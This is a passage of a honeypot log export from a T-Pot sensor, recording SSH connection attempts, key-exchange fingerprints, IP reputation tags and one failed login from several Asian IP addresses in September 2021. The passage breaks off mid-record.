27447	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:38.076867+03	2021-09-20 14:15:14.591674+03	{"_id": "2gbqAnwBvYTbRNuEQCdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42148 (192.168.176.2:22) [session: 732d2f5785b2]", "session": "732d2f5785b2", "@version": "1", "protocol": "ssh", "src_port": 42148, "dest_port": 22, "timestamp": "2021-09-20T11:14:38.076867Z", "@timestamp": "2021-09-20T11:14:38.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27448	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:38.204185+03	2021-09-20 14:15:14.593674+03	{"_id": "2AbqAnwBvYTbRNuEQCdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "732d2f5785b2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:38.204185Z", "@timestamp": "2021-09-20T11:14:38.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27449	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:14:38.810779+03	2021-09-20 14:15:14.595647+03	{"_id": "4wbqAnwBvYTbRNuEQidh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:14:38.115395+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 586778115228355, "payload": "AAADzAYUL5TFYk/S3UIbmB5ymDGO7AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3733, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:14:38.810779Z", "@timestamp": "2021-09-20T11:14:38.810Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....../..bO..B...r.1.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
27450	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:14:38.810234+03	2021-09-20 14:15:14.596645+03	{"_id": "4gbqAnwBvYTbRNuEQidh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 586778115228355, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3733, "dest_port": 22, "timestamp": "2021-09-20T11:14:38.810234Z", "@timestamp": "2021-09-20T11:14:38.810Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27451	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:38.46659+03	2021-09-20 14:15:14.598647+03	{"_id": "5QbqAnwBvYTbRNuEQyeX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3733, "timestamp": "2021-09-20T11:14:38.466590", "@timestamp": "2021-09-20T11:14:38.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27452	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:14:38.811409+03	2021-09-20 14:15:14.599644+03	{"_id": "7QbqAnwBvYTbRNuERCdX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3d65a2248ad7", "@version": "1", "timestamp": "2021-09-20T11:14:38.811409Z", "@timestamp": "2021-09-20T11:14:38.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27453	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:40.469259+03	2021-09-20 14:15:14.601647+03	{"_id": "9AbqAnwBvYTbRNuESCdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e15c0f9ee43f", "@version": "1", "timestamp": "2021-09-20T11:14:40.469259Z", "@timestamp": "2021-09-20T11:14:40.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27454	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:14:40.30286+03	2021-09-20 14:15:14.602646+03	{"_id": "-gbqAnwBvYTbRNuESCdB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [user1/user] failed", "session": "3d65a2248ad7", "@version": "1", "password": "user", "username": "user1", "timestamp": "2021-09-20T11:14:40.302860Z", "@timestamp": "2021-09-20T11:14:40.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27460	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:47.994914+03	2021-09-20 14:15:14.610646+03	{"_id": "OgbqAnwBvYTbRNuEZyiI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36750 (192.168.176.2:22) [session: d64d18a0926f]", "session": "d64d18a0926f", "@version": "1", "protocol": "ssh", "src_port": 36750, "dest_port": 22, "timestamp": "2021-09-20T11:14:47.994914Z", "@timestamp": "2021-09-20T11:14:47.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27455	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:40.466299+03	2021-09-20 14:15:14.603646+03	{"_id": "_gbqAnwBvYTbRNuESicy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2116207379457205, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45000, "dest_port": 22, "timestamp": "2021-09-20T11:14:40.466299Z", "@timestamp": "2021-09-20T11:14:40.466Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27456	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:40.944678+03	2021-09-20 14:15:14.605644+03	{"_id": "_wbqAnwBvYTbRNuESicy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 809268158726052, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37746, "dest_port": 22, "timestamp": "2021-09-20T11:14:40.944678Z", "@timestamp": "2021-09-20T11:14:40.944Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27457	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:41.126282+03	2021-09-20 14:15:14.606646+03	{"_id": "AQbqAnwBvYTbRNuESyhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54508, "timestamp": "2021-09-20T11:14:41.126282", "@timestamp": "2021-09-20T11:14:41.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27458	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:47.197977+03	2021-09-20 14:15:14.607645+03	{"_id": "MgbqAnwBvYTbRNuEYyid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "23171de02f20", "@version": "1", "duration": 3.4707577228546143, "timestamp": "2021-09-20T11:14:47.197977Z", "@timestamp": "2021-09-20T11:14:47.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27459	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:48.270686+03	2021-09-20 14:15:14.609646+03	{"_id": "NAbqAnwBvYTbRNuEZijF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": 